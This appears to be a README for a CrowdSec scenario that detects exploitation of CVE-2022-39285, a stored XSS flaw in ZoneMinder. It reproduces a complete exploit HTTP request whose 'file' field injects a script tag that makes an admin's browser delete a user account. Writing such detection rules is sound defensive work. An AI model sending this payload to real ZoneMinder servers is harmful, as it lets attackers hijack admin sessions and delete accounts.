| 1 | Scenario to detect exploitation attempts of [CVE-2022-39285](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-h6xp-cvwv-q433). |
| 2 | Basically do not allow any POST requests for index.php to have file=[XSS payload]. This is for ZM versions __BEFORE__ 1.36.27, 1.37.24 |
| 3 | |
| 4 | ``` |
| 5 | POST /zm/index.php HTTP/1.1 |
| 6 | Host: 10.0.10.107 |
| 7 | Content-Length: 377 |
| 8 | Accept: application/json, text/javascript, */*; q=0.01 |
| 9 | X-Requested-With: XMLHttpRequest |
| 10 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 |
| 11 | Content-Type: application/x-www-form-urlencoded; charset=UTF-8 |
| 12 | Origin: http://10.0.10.107 |
| 13 | Referer: http://10.0.10.107/zm/ |
| 14 | Accept-Encoding: gzip, deflate |
| 15 | Accept-Language: en-US,en;q=0.9 |
| 16 | Cookie: zmSkin=classic; zmCSS=base; zmBandwidth=high; ZMSESSID=rauh5oe3i2uar25eaniipq2gie |
| 17 | Connection: close |
| 18 | |
| 19 | __csrf_magic=key:78ee298a4593243b9ac481199d7da468bab4f044,1664675125&view=request&request=log&task=create&level=ERR&message=Trenches%20of%20IT%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=http%3A%2F%2F10.0.10.107%2Fzm%2F</td></tr><script src='/zm/?view=options%26tab=users%26action=delete%26markUids%5B%5D=6%26deleteBtn=Delete'</script>&line=70 |
| 20 | ``` |
| 21 | |
| 22 | :warning: Crowdsec is not a WAF and, as such, bypass to those signatures are likely :warning: |
| 23 | |
| 24 | |
| 25 | |
| 26 | |
| 27 |